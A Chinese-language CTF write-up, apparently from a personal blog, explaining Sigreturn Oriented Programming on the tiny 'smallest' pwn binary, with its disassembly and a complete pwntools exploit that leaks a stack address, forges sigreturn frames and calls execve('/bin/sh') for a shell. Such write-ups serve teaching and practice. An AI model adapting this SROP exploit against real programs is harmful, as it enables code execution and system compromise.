SROP技术CTF案例

0x00 相关资料

原始paper
Sigreturn Oriented Programming (SROP) Attack攻击原理
linux系统调用表(system call table) 挺有意思的技术,我就记录一下了。

0x01 smallest题目案例

真有意思的pwn题目,让我重新学习了一下pwn。
objdump二进制文件,只有几行汇编代码:

1
2
3
4
5
6
7
00000000004000b0 <.text>:
4000b0: 48 31 c0 xor %rax,%rax
4000b3: ba 00 04 00 00 mov $0x400,%edx
4000b8: 48 89 e6 mov %rsp,%rsi
4000bb: 48 89 c7 mov %rax,%rdi
4000be: 0f 05 syscall
4000c0: c3 retq

首先学习下syscall这个指令,它是根据rax寄存器的值来查询系统调用表,并执行对应函数。
可以理解为这样:

1
syscall(rax,rdi,rsi,rdx)

对应的main函数功能就是:syscall(0,0,$rsp,0x400),相当于调用了read函数read(0,$rsp,0x400)

  • 产生了栈溢出漏洞。

  • gdb调试下,可以发现:读取的字符串个数会赋值到rax寄存器中。写入第一个值就是返回地址。

SROP利用到了linux下的15号系统调用sigreturn,它能从栈上读取数据,赋值到寄存器中。具体可以参考资料2。
因此,可以利用这个系统调用,构造syscall(59,"/bin/sh",0,0)启动一个shell。59号系统调用是execve。 思路大概就是:

1
控制输入字符串数量,调用sigreturn,控制寄存器的值。接着又通过syscall,调用execve系统调用。

细节还是有挺多要注意的,看exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import time

context.log_level = 'debug'
context.arch = "amd64"
exe = './smallest'

s = process(exe)

# 调用write系统调用来泄露栈地址
# write stack address
main_addr = 0x4000b0
syscall_addr = 0x4000be

write_payload = p64(main_addr) + p64(main_addr) + p64(main_addr)
s.send(write_payload)

# 返回地址改写为0x4000b3。 跳过 xor %rax,%rax 使rax保持为1
s.send("\xb3") # set rax=1 write
stack_addr = u64(s.recv()[8:16])
print hex(stack_addr)

# 得到一个栈地址后,让rsp指向stack_addr
# frame
# call read into stack_addr
# target : get "/bin/sh" addr
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read
frame.rdi = 0x0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr
# frame代表read(0,stack_addr,0x400)

# 现将Payload写到栈上
read_frame_payload = p64(main_addr) + p64(0) + str(frame)
s.send(read_frame_payload)

# 通过字符数量,调用sigreturn
goto_sigreturn_payload = p64(syscall_addr) + "\x00"*(15 - 8) # sigreturn syscall is 15
s.send(goto_sigreturn_payload)

# frame
# call execv("/bin/sh",0,0)
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve
frame.rdi = stack_addr+0x150 # "/bin/sh" 's addr
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = stack_addr
frame.rip = syscall_addr

execv_frame_payload = p64(main_addr) + p64(0) + str(frame)
execv_frame_payload_all = execv_frame_payload + (0x150 - len(execv_frame_payload))*"\x00" + "/bin/sh\x00"
s.send(execv_frame_payload_all)

s.send(goto_sigreturn_payload)

s.interactive()
文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2017/04/27/srop-technology-ctf-case/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog